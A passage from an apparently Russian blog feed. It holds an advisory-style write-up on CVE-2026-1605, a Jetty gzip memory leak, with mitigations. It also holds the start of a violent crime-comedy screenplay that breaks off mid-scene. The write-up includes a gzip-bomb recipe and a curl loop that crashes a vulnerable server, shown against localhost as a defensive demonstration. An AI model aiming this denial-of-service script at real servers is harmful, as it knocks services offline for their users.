  <p id="6znZ">Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска <a href="https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/used-by" target="_blank">все проекты</a>, которые использовали или используют артефакт <code>jetty-server</code> за последние <strong>три года</strong>.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="O44c">Что-то около <em>четырех с половиной тысяч</em> проектов, согласно статистике.</p>
  </section>
  <p id="iESn">Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:</p>
  <blockquote id="8W6T">обработка сжатых запросов и ответов по-умолчанию <strong>выключена</strong> и требует отдельной настройки. </blockquote>
  <p id="ygpu">Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.</p>
  <h2 id="hJl1">Исправление</h2>
  <p id="nSOV">На момент написания этих строк, проблема уже <strong>исправлена</strong>. </p>
  <p id="NiBe">Для ветки 12.1.х начиная с <code>12.1.6</code>, для более ранней и стабильной 12.0.х — начиная с <code>12.0.32</code>.</p>
  <p id="Ampd">Если в вашем проекте Jetty используется в виде зависимости, вроде:</p>
  <pre id="x2H2" data-lang="xml">&lt;dependency&gt;
            &lt;groupId&gt;org.eclipse.jetty&lt;/groupId&gt;
            &lt;artifactId&gt;jetty-server&lt;/artifactId&gt;
            &lt;version&gt;12.1.5&lt;/version&gt;
&lt;/dependency&gt;</pre>
  <p id="fl6X">Достаточно лишь изменить версию на исправленную и обновиться.</p>
  <p id="EzuM">Но на свете существует еще и такая зверская вещь как <a href="https://spring.io/" target="_blank">Spring Boot</a> — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.</p>
  <p id="Uv9F">Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:</p>
  <figure id="914A" class="m_original">
    <img src="https://img1.teletype.in/files/49/0b/490b25a4-54ad-411d-b576-2eb2bbd0f041.png" width="761" />
    <figcaption>Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.</figcaption>
  </figure>
  <p id="7Tqz">Версии Spring Boot с исправленным Jetty начинаются с <code>4.0.3</code>, но обновлять сам Spring Boot — то еще приключение.</p>
  <p id="oxZQ">Так что для многих весна станет очень тяжелой.</p>
  <h2 id="0Uaq">Демонстрация</h2>
  <p id="1HZ6">Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical». </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DXyC">Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.</p>
  </section>
  <p id="4vM0">Может хоть это заставит кого-то из читателей обновиться.</p>
  <h3 id="zVLu">Тестовое приложение</h3>
  <p id="aF2B">Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.</p>
  <p id="xkzz"> Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:</p>
  <pre id="aDxP" data-lang="java">package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet(&quot;/yo&quot;)
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType(&quot;text/plain&quot;);
        PrintWriter out = resp.getWriter();
        out.printf(&quot;Request at: %d%n&quot;, System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf(&quot;Request size: %d%n&quot;, data.length);
        }
    }
}</pre>
  <p id="QjDl">Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.</p>
  <blockquote id="cqPo">Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.</blockquote>
  <p id="clbM">Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в <a href="https://www.jetbrains.com/idea/" target="_blank">Intellij Idea</a>.</p>
  <h3 id="Hm9y">Тестовый Jetty</h3>
  <p id="pKtR">Помимо тестового приложения, необходима еще и уязвимая версия Jetty.</p>
  <p id="KOgI">Для чистоты эксперимента, была взята версия <code>12.1.5</code> , последняя в ветке 12.1.х до исправления, которую можно скачать <a href="https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/" target="_blank">тут</a>.</p>
  <p id="aQUd">Скачиваем и распаковываем:</p>
  <pre id="giLR" data-lang="bash">wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip</pre>
  <p id="Ioge">Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений: </p>
  <pre id="mTjD" data-lang="bash">mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5</pre>
  <p id="mA5J">Включаем основные модули:</p>
  <pre id="EwXJ" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp</pre>
  <p id="g3Kz">Включаем модуль gzip:</p>
  <pre id="CLO5" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=gzip</pre>
  <p id="BFxz">Тут стоит заметить, что модуль <code>gzip</code> начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль <code>compression-gzip</code>.</p>
  <p id="qNhp">Но во-первых <s>это Jetty</s> непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год. </p>
  <blockquote id="n5FI">В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как <a href="https://github.com/spring-projects/spring-boot/issues/47134" target="_blank">поступили</a> для примера парни из Spring.</blockquote>
  <p id="lpkB">После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле <code>$JETTY_HOME/start.d/gzip.ini</code>:</p>
  <pre id="geOJ">## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST</pre>
  <p id="0lgM">Дополнительно я еще включил логирование через <a href="https://logback.qos.ch/" target="_blank">Logback</a>:</p>
  <pre id="YDpW" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=logging-logback</pre>
  <p id="9Z2a">Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля <code>gzip</code>.</p>
  <p id="cQAz">После добавления модуля, появится файл <code>resources/logback.xml</code> с настройками логирования по-умолчанию.</p>
  <p id="jpvX">Внутрь необходимо добавить строку:</p>
  <pre id="yYcW" data-lang="xml"> &lt;logger name=&quot;org.eclipse.jetty.server.handler.gzip&quot; level=&quot;DEBUG&quot; /&gt; </pre>
  <p id="bGLU">Копируем наше тестовое приложение <code>gziptest.war</code> в каталог <code>$JETTY_HOME/webapps</code> и наконец запускаем наш уязвимый Jetty:</p>
  <pre id="P8qh" data-lang="bash">java -jar $JETTY_HOME/start.jar </pre>
  <p id="80zs">Теперь переходим к формированию специального запроса-убийцы.</p>
  <h3 id="qc3V">Запрос-убийца</h3>
  <p id="Dbd4">Шатать так шатать, для демонстрации процесса была подготовлена классическая <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files" target="_blank">ZIP-бомба</a> — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.</p>
  <p id="MLYS">Так выглядит процесс создания:</p>
  <pre id="DyVq" data-lang="bash">dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin</pre>
  <p id="2zur">А так — сам скрипт «бомбометания»:</p>
  <pre id="WxJ6" data-lang="bash">#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in &#x60;seq 1 2000000&#x60;; do 
curl -v -s --data-binary @1g.bin.gz -H &quot;Content-Encoding: gzip&quot; $TARGET;
done</pre>
  <p id="WN2o">Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.</p>
  <p id="IVjn">Запускаем и буквально после второго же запроса наблюдаем OOM: </p>
  <figure id="Jot6" class="m_original">
    <img src="https://img3.teletype.in/files/27/9d/279d7dd1-1cbd-4650-a52f-a968c0b7fed3.png" width="1012" />
    <figcaption>Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.</figcaption>
  </figure>
  <h3 id="39eR">Про OutOfMemory</h3>
  <p id="VHoZ">Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.</p>
  <p id="OBUc">Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++. </p>
  <blockquote id="9zj6">Отличается отнюдь не в лучшую сторону.</blockquote>
  <p id="zFto">Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qUkx">Но только поведение сервиса станет <strong>непредсказуемым</strong>.</p>
  </section>
  <p id="6sVG">Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.</p>
  <blockquote id="go94">Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается. </blockquote>
  <p id="f18O">Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети. </p>
  <p id="u9YW">Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.</p>
  <p id="6Usk">Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему. </p>
  <p id="75ol">Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.</p>
  <p id="1prI">Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана. </p>
  <blockquote id="YmNy">Причем не сразу насмерть, а долго и мучительно.</blockquote>
  <p id="8EBs">Но вернемся к нашей проблеме.</p>
  <h2 id="ZRYW">Эпилог</h2>
  <p id="i0wV">Стоит только добавить заголовок <code>Accept-Encoding: gzip</code> к запросу и все замечательно работает:</p>
  <pre id="IfWo" data-lang="bash">export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H &quot;Content-Type: text/xml&quot; -H &quot;Accept-Encoding: gzip&quot; -H &quot;Content-Encoding: gzip&quot; $TARGET;</pre>
  <p id="drX7">Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:</p>
  <figure id="mLOh" class="m_original">
    <img src="https://img4.teletype.in/files/bb/16/bb160f27-a52d-4dbb-aed6-8b2f4f951591.png" width="1012" />
    <figcaption>Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.</figcaption>
  </figure>
  <p id="4DdL">Напоследок покажу, как выглядит утечка в профайлере <a href="https://visualvm.github.io/" target="_blank">VisualVM</a>:</p>
  <figure id="F49P" class="m_original">
    <img src="https://img4.teletype.in/files/fb/aa/fbaa6419-72c0-4cc3-be4c-acb36cdfa360.png" width="1366" />
    <figcaption>Не так эпично, как на заглавной картинке, но тоже неплохо.</figcaption>
  </figure>
  <h2 id="GHq5">Рекомендации</h2>
  <p id="5vSz">Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.</p>
  <p id="hqEh">Что же касается конкретно <code>CVE-2026-1605</code>, есть несколько вариантов:</p>
  <ol id="kruM">
    <li id="n9dg"> Банальным образом обновиться до исправленных версий;</li>
    <li id="m4cs">Отключить проблемый модуль <code>gzip</code>, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty;</li>
    <li id="KFwi">В случае Spring Boot добавить в конфигурацию:</li>
  </ol>
  <pre id="wbVE">server.compression.enabled=false</pre>
  <p id="jeFB">Что отключит поддержку сжатых запросов и ответов.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/awesome-weekend-spb-short-film</guid><link>https://blog.0x08.ru/awesome-weekend-spb-short-film?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/awesome-weekend-spb-short-film?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Веселые каникулы</title><pubDate>Sat, 07 Mar 2026 00:48:21 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/81/6a/816a8bfe-b259-4628-a438-a55584e6dd18.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg"></img>Короткий метр.]]></description><content:encoded><![CDATA[
  <p id="eWCK">Короткий метр.</p>
  <p id="j827">Драма, черная комедия, Питер.</p>
  <blockquote id="jVP8">Визуальный стиль — нечто среднее между диснеевским мультиком и фильмами Тарантино. Ярко, но кроваво.</blockquote>
  <p id="WIC5">Успешный, состоятельный бизнесмен и семьянин, а в прошлом — отмороженный бандит и член ОПГ, вынужден бежать в Россию-матушку после долгой жизни заграницей, из-за санкций.  </p>
  <p id="nra7">Где придется столкнуться с бывшими коллегами по опасному делу, у которых накопились к нему серьезные вопросы.</p>
  <figure id="JgiW" class="m_column">
    <img src="https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg" width="1200" />
  </figure>
  <p id="uq7t">Все действие происходит одним летним днем в Питере.</p>
  <h2 id="Imqz">1. НАТ. ПОДВОРОТНЯ. </h2>
  <p id="A321">Залитая кровью подворотня, повсюду следы побоища и раскиданы тела молодых туристов — парни и девушки, в разных интересных позах.</p>
  <p id="sbgq">Где-то вдали слышен детский смех, в соседнем дворе дети играют в футбол. За резной решеткой 19го века, закрывающей выход из двора — шум улицы, там ездят машины и ходят люди.</p>
  <p id="ct2V">У входа в подвальный бар «Дух девяностых» на ступеньках сидит едва живая, залитая кровью юная девушка (19). Мелко дрожит, плачет и прижимает руки к окровавленному животу. </p>
  <p id="zCo5">Ее совсем недавно пырнули ножом.</p>
  <p id="SLU6">Из бара поднимается крепкого вида мужчина (50) со спортивной сумкой через плечо. Одежда немного порвана и в грязи, на руках сбитые костяшки с содранной от свежих ударов кожей. </p>
  <p id="cH9Q">Замечает девушку и присаживается рядом.</p>
  <p id="bGDv">Какое-то время они просто сидят рядом, затем мужчина начинает говорить.</p>
  <p id="7dmM" data-align="center">АРТУР</p>
  <p id="uNPn">             Понимаю, не самый лучший момент для подобных вопросов..</p>
  <p id="V19m">(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)</p>
  <p id="Fsf1">             Но все же..</p>
  <p id="iNfX">             Вы успели.. побывать в Эрмитаже?              </p>
  <p id="9lU3">(камера медленно обводит залитый кровью двор и валяющиеся трупы)</p>
  <p id="aklP">             Там.. просто невероятно красиво!</p>
  <p id="QAR3"></p>
  <h2 id="08eG">2. ИНТ. МАШИНА В ДВИЖЕНИИ.</h2>
  <p id="2lLU">Салон представительского мерседеса. </p>
  <p id="LsdC">Пассажиры на заднем сидении — семейная пара, Михаил — муж, крепкий мужчина в дорогом костюме (50), Анна — жена, красивая ухоженная женщина (40), в дорогой одежде. </p>
  <p id="xShY" data-align="center">АННА</p>
  <p id="UFi1">(крутит в руке свежую, только вчера напечатанную визитку мужа, затем читает)</p>
  <p id="92c8">             SENIOR VICE PRESIDENT</p>
  <p id="IZO4">             FALCO INVESTMENTS LTD</p>
  <p id="FKK8">(смотрит на мужа с любовью и обожанием)</p>
  <p id="f46M">             Как же я рада, что вышла за тебя, Миша.</p>
  <p id="yIyR">             Все будет хорошо, ты обязательно справишься.</p>
  <p id="armg" data-align="center">МИХАИЛ</p>
  <p id="4epE">             Справлюсь.</p>
  <p id="eJd5">             Всегда справлялся.</p>
  <p id="rxpd" data-align="center">АННА             </p>
  <p id="VKrd">             Только пожалуйста не ходи.. Не ходи на эту встречу.</p>
  <p id="C8Ek">             Это страшные и жестокие люди..</p>
  <p id="A6lu">             Сердцем чую — быть беде.</p>
  <p id="lnES" data-align="center">МИХАИЛ</p>
  <p id="ef4H">(кладет ладонь поверх руки жены и успокаивает):</p>
  <p id="Pfez">             Все будет нормально, дорогая.</p>
  <p id="dLhD">             Девяностые давно прошли. Все успокоились.. </p>
  <p id="8gF0">(пауза) </p>
  <p id="fqgI">             ..кто выжил конечно. </p>
  <p id="kUDB">             Теперь у всех семьи, дети. Бизнес, в конце концов. </p>
  <p id="eEbd">             Все стало совсем по-другому, понимаешь?</p>
  <p id="JjGL">             Другая жизнь кругом.</p>
  <p id="LHtd">(кивает на строящийся за окном новый жилой комплекс)</p>
  <p id="g0wa">             Вон сколько всего понастроили!              </p>
  <p id="TTpU">(смотрит в даль, рассматривая детали)</p>
  <p id="3Ym2">             Даа..</p>
  <p id="rHrz">             Как же тут все изменилось..</p>
  <p id="x7p9">(показывает пальцем вдаль)</p>
  <p id="iDxl">             Вот тут. </p>
  <p id="J0z5">             Тут когда-то пустырь был.</p>
  <p id="xYMi">             Где Коляна зарезали..  </p>
  <p id="eGrn">             А теперь погляди: дома красивые, дети играют. Мамы с колясками.</p>
  <p id="mbHB">             Красота!</p>
  <p id="wTMO">(внезапно вспоминая, со смешком обращаясь к жене) </p>
  <p id="Phxz">             Шефа-то, шефа — помнишь?</p>
  <p id="jlEE">             Сказали артрит разбил, на старости лет. </p>
  <p id="Ofmq">             Передвигается теперь в инвалидном кресле, представляешь?</p>
  <p id="Utu1">(укоризненно)</p>
  <p id="F0FE">             А ты все боишься..</p>
  <p id="SpbH">             Не надо никого бояться.  </p>
  <p id="dBeq">             Эта встреча лишь формальность. </p>
  <p id="TkrO">             Может им самим теперь моя помощь нужна. </p>
  <p id="aJjq">(смотрит в окно на городской пейзаж)</p>
  <p id="m7nS">             С домом престарелых.</p>
  <p id="PzGL" data-align="center">АННА</p>
  <p id="WdBK">(успокаиваясь)</p>
  <p id="ivuI">             Только не засиживайтесь. </p>
  <p id="Pdbn">             Вечером у нас банкет. </p>
  <p id="kbqY">             Будет первый зам губернатора, с женой. Важные люди. </p>
  <p id="x8Xa">             Помнишь?</p>
  <p id="sIyr" data-align="center">МИХАИЛ</p>
  <p id="8thm">             Разумеется. </p>
  <p id="cg3Q">             Такую рожу забудешь. </p>
  <p id="PG3m">             Еще и ночью будет сниться.</p>
  <p id="A60B">             Со своими процентами.</p>
  <p id="hmyU">             Ладно.</p>
  <p id="wfEB">             Все будет быстро и.. четко, дорогая.</p>
  <p id="I45v">(Михаил шутливо отдает жене честь)</p>
  <p id="2FaD">             Артур уже наверное и забыл как дела делаются. </p>
  <p id="zJid">             Спился поди давно. </p>
  <p id="VxiX">             Или сторчался.</p>
  <p id="F1ur">             Жизнь тут никого не щадит. </p>
  <p id="VRZl">Начало второй сцены начинается с реплик выше.</p>
  <p id="BXvI"></p>
  <h2 id="L6uf">3. НАТ. УЛИЦА СТАРОГО ПИТЕРА.</h2>
  <p id="5jjK">Видим старого, крепкого мужчину в спортивном костюме (50), кепке и с большой спортивной сумкой. Лица не видно.</p>
  <p id="O7qh">Мужчина сворачивает в подворотню, видна старая вывеска: </p>
  <p id="cZGH">БАР «ДУХ ДЕВЯНОСТЫХ». ВОДКА, ТАНЦЫ, НОСТАЛЬГИЯ. РАБОТАЕМ ДО ПОСЛЕДНЕГО КЛИЕНТА.</p>
  <p id="66R7">Внутри оказывается небольшой уютный дворик, где в подвале одного из домов и расположен искомый кабак.</p>
  <p id="HRRN">Вниз ведут затертые ступеньки.</p>
  <p id="t0Zj">Кабак старый, с оформлением в стиле начала 90х. На стенах развешаны плакаты с героями боевиков, по радио играет попса тех времен. </p>
  <p id="5NaG">Под потолком медленно крутится старый вентилятор.</p>
  <p id="CLl3"></p>
  <h2 id="vyAT">4. ИНТ. БАР ДУХ ДЕВЯНОСТЫХ</h2>
  <p id="ecvD">Мужчина спускается вниз, заходит в заведение и окидывает взглядом пустое помещение.</p>
  <p id="nmXd" data-align="center">АРТУР           </p>
  <p id="xUUC">(втягивая носом воздух)</p>
  <p id="vZBa">             Даже воняет как в былые времена.</p>
  <p id="0WEu">(на распев)</p>
  <p id="bpx6">             Это все мое, родное!</p>
  <p id="QI10">(проходя к стойке)</p>
  <p id="fJba">             Как же давно я тут не был.</p>
  <p id="LVWB">Замечает бармена и подходит прямо к стойке. Кладет руки на стойку, наклоняется. Бармен — тощий тип с крысиной мордой вместо лица, неопределенного возраста. </p>
  <p id="M6KF">Медленно протирает стаканы и смотрит с нескрываемым презрением.</p>
  <p id="cax2">             Раньше тут был другой бармен..</p>
  <p id="iJws">             Ты видимо новенький? </p>
  <p id="dfvo" data-align="center">БАРМЕН</p>
  <p id="jbRf">(окидывает взглядом клиента, оценивая возраст и платежеспособность)</p>
  <p id="fJKp">             В очереди на погребение точно буду за вами. </p>
  <p id="sOel">             Чего изволите, уважаемый?</p>
  <p id="VCco" data-align="center">АРТУР</p>
  <p id="CBQv">(пристально смотрит на бармена)</p>
  <p id="Jaqv">             Кофею. </p>
  <p id="wf7r">             Американо, со сливками.</p>
  <p id="rTqW" data-align="center">БАРМЕН</p>
  <p id="RYSc">(гнусно ухмыляясь, огорченный что клиент не заказал дорогого алкоголя)</p>
  <p id="F1RT">             Что, в Шаббат не работаем, по субботам не пьем?</p>
  <p id="E2d7" data-align="center">АРТУР</p>
  <p id="2fTg">             Врачи-убийцы пить запретили.</p>
  <p id="KmQ8">             Но не переживай, сейчас друг подойдет. </p>
  <p id="MQn2">             Ему можно. </p>
  <p id="V7b5">(с ухмылкой)</p>
  <p id="kMN3">             Ему походу теперь все можно, без моральных терзаний и последствий для здоровья.</p>
  <p id="P71V">             Кассу заведению точно сделаем.</p>
  <p id="mfmp">             Устанете полы оттирать.</p>
  <p id="vpTu" data-align="center">БАРМЕН</p>
  <p id="yRrs">(какое-то время шарится под стойкой, затем хмуро выдает)</p>
  <p id="JEZG">             Сливок нет, только молоко. </p>
  <p id="w73P">             Сухое.</p>
  <p id="hmOb" data-align="center">АРТУР</p>
  <p id="mGJ2">             Ну кто бы сомневался.  </p>
  <p id="3S6E">             Неси что есть. </p>
  <p id="B0BX">             Сахару только не надо, я и так сладкий.</p>
  <p id="YPSa">(озираясь и окидывая взглядом помещение)</p>
  <p id="cLCY">             У меня с вашим заведением крепкая духовная связь и теплые воспоминания.</p>
  <p id="xPAf">(показывает на угловое место у окна)</p>
  <p id="HYp8">             Воон там когда-то давно меня били головой о стену. </p>
  <p id="ldjJ">             Так и приземлюсь, хорошо?  </p>
  <p id="hrZz">            </p>
  <p id="91wg" data-align="center">БАРМЕН</p>
  <p id="ZKeY">             Бомболюк только свой держите закрытым, будьте так любезны.</p>
  <p id="kcr6">             А то в вашем возрасте клапан уже не держит.</p>
  <p id="ijLB">Бармен уходит на кухню, готовить заказ. </p>
  <p id="k8pc">Артур направляется к столику.</p>
  <p id="mPSg">Столик крепкий, старый, с железной основой, прикрученной к стене и полу.  Чтоб можно было и сплясать и разбить лицо дорогого гостя о рабочую поверхность.</p>
  <p id="C9xR">Окинув взглядом зал и убедившись что больше никого нет, а бармен где-то далеко на кухне, Артур быстро раскрывает сумку, достает <a href="https://en.wikipedia.org/wiki/Heckler_%2526_Koch_MP5" target="_blank">Heckler &amp; Koch MP5</a>, привинчивает глушитель и спускается под столик.</p>
  <p id="G4Ez">Под столиком оказывается приделан специальный крепеж, старый и ржавый но крепкий. Камера показывает крупным планом старую наклейку из жвачки Turbo, приклеенную снизу стола.</p>
  <p id="QmJs">Артур взводит оружие, переключает на стрельбу очередями и крепит оружие под столом. Садится за столик, проверяет расположение оружия и цели — делает все это явно не первый раз.</p>
  <p id="NG5y">Убедившись что все хорошо, наконец успокаивается.</p>
  <p id="S7ul">Смотрит на кусочек неба видный в маленьком окне под потолком — кабак расположен в подвале.</p>
  <h2 id="MVFA">5. НАТ. У ВХОДА В БАР</h2>
  <p id="CYGN">Камера показывает тот самый кусочек неба, но уже без рамки окна -тот же угол съемки. Затем опускается вниз, к основной сцене.</p>
  <p id="1voq">У входа в подворотню, где расположен кабак «Дух девяностых» останавливается тот самый представительский мерседес, на аренду которого ушла половина бюджета. </p>
  <p id="nvzM">Открывается задняя дверь и из машины выходит Михаил.</p>
  <p id="FEYZ">Используется параллельный монтаж, во время диалога Михаила с женой показываются манипуляции с автоматом.</p>
  <p id="DWZt" data-align="center">МИХАИЛ</p>
  <p id="vnjZ">(обращаясь к жене, которая осталась в машине)</p>
  <p id="qF1z">             Дорогая все будет нормально, я быстро.  </p>
  <p id="YRuJ">             Сходи пока с детьми в театр.</p>
  <p id="j9rT">             В какой?</p>
  <p id="oF0o">             Ну.. В какой-нибудь. </p>
  <p id="2k8j">             Это же Питер, дорогая. Тут культуры  — завались. </p>
  <p id="0Hnw">             В кого не пальни — обязательно попадешь в режиссера или еще кого культурного.</p>
  <p id="gHwY">             Конечно шучу, что ты.</p>
  <p id="aqE9">             Нету у меня никакого оружия при себе, госспади..  </p>
  <p id="utMp">             Я деловой человек!</p>
  <p id="tEBD">             Тоже люблю тебя.</p>
  <p id="E0dy">             Езжай с спокойной душой, все будет нормально.</p>
  <p id="pBhM">             Хорошо провести время.</p>
  <p id="jov4">(закрывает дверь, дает знак водителю уезжать, машина уезжает)</p>
  <p id="ZS35">В камеру:</p>
  <p id="ynCM">             Ну что, пришло время поработать.</p>
  <p id="XyGo">Михаил разворачивается и в хорошем настроении, с улыбкой идет по направлению к кабаку. </p>
  <h2 id="vW0e">6. ИНТ. БАР. СТОЛИК АРТУРА</h2>
  <p id="fGKB">Бармен с типичным для Питера выражением лица из смеси брезгливости и презрения несет кофе. Кофе хреново приготовлен, остыл еще и залит сверх всякой меры молоком. </p>
  <p id="w3Ji">Артур смотрит на все это, морщится и обращается к бармену.</p>
  <p id="fAW2" data-align="center">АРТУР</p>
  <p id="t06E">             Хочешь расскажу, почему всегда заказываю только Американо?</p>
  <p id="BvwV" data-align="center">БАРМЕН</p>
  <p id="CaDg">             Потому что в вашем сельпо другого не наливают?</p>
  <p id="c58y" data-align="center">АРТУР</p>
  <p id="DXPH">(укоризненно)</p>
  <p id="GiSS">             Не стоит хамить взрослым и незнакомым людям. </p>
  <p id="Fo4k">             Говорят, плохая примета.</p>
  <p id="LS7h" data-align="center">БАРМЕН</p>
  <p id="tjii">             Какой чек такой и сервис, уважаемый. </p>
  <p id="jFIr">             Хорошее отношение к клиенту начинается с третьей стопки. </p>
  <p id="RCAB">Бармен разворачивается и собирается уходить.</p>
  <h2 id="595h">7. ИНТ. БАР. ВХОД</h2>
  <p id="SJbh">На лестнице, ведущей вниз, раздаются цокающие шаги и в мрачный, подвальный кабак «Дух девяностых», заходит статный мужчина в дорогом костюме и лакированных туфлях — бизнесмен Михаил. </p>
  <p id="M0SB">В далеком прошлом —  «Мишаня Козырной».</p>
  <p id="1Y4f">На веселую молодость намекают теперь лишь старые татуировки на пальцах. Европейские менты и кредиторы все равно не читают по-русски.</p>
  <p id="x5oM">Бармен замечает гостя, оценив дорогой костюм его лицо расплывается в широкой улыбке. </p>
  <p id="qWnA">Немедленно подрывается к богатому гостю.</p>
  <p id="QB2e" data-align="center">БАРМЕН</p>
  <p id="3Ci4">             Рады приветствовать первого приличного человека в нашем заведении! </p>
  <p id="Mttq">             Чего изволите?</p>
  <p id="Ds1U" data-align="center">МИХАИЛ</p>
  <p id="XDey">(окинув зал взглядом, равнодушно)</p>
  <p id="e94k">             Меня ожидают.</p>
  <p id="pSfF">Замечает Артура и направляется к нему, бармен следует за ним по пятам. Подходят к столику. </p>
  <p id="HLAN">Артур лишь молча смотрит, не предлагает сесть, не тянет руку. Наконец молчание прерывается.</p>
  <p id="R5U8" data-align="center">АРТУР </p>
  <p id="6WSF">(обращаясь к бармену)</p>
  <p id="m1om">             Иди погуляй. </p>
  <p id="w8el">             Взрослым дядям надо поговорить.</p>
  <p id="XM5h" data-align="center">МИХАИЛ </p>
  <p id="elVY">(поворачивается к бармену и показав идеальную белозубую улыбку дает знак отойти)</p>
  <p id="lla7">             Вас не затруднит? </p>
  <p id="81Hc">             Мы чуть попозже позовем. </p>
  <p id="cgtV"></p>
  <p id="mVhQ">Бармен с поклоном удаляется. Михаил молча садится за столик, точно напротив Артура. Спрятанный под столом автомат он не замечает.</p>
  <p id="ZtDY">Какое-то время они просто сидят, уставившись друг на друга, в напряжении.</p>
  <p id="mz4B" data-align="center">АРТУР</p>
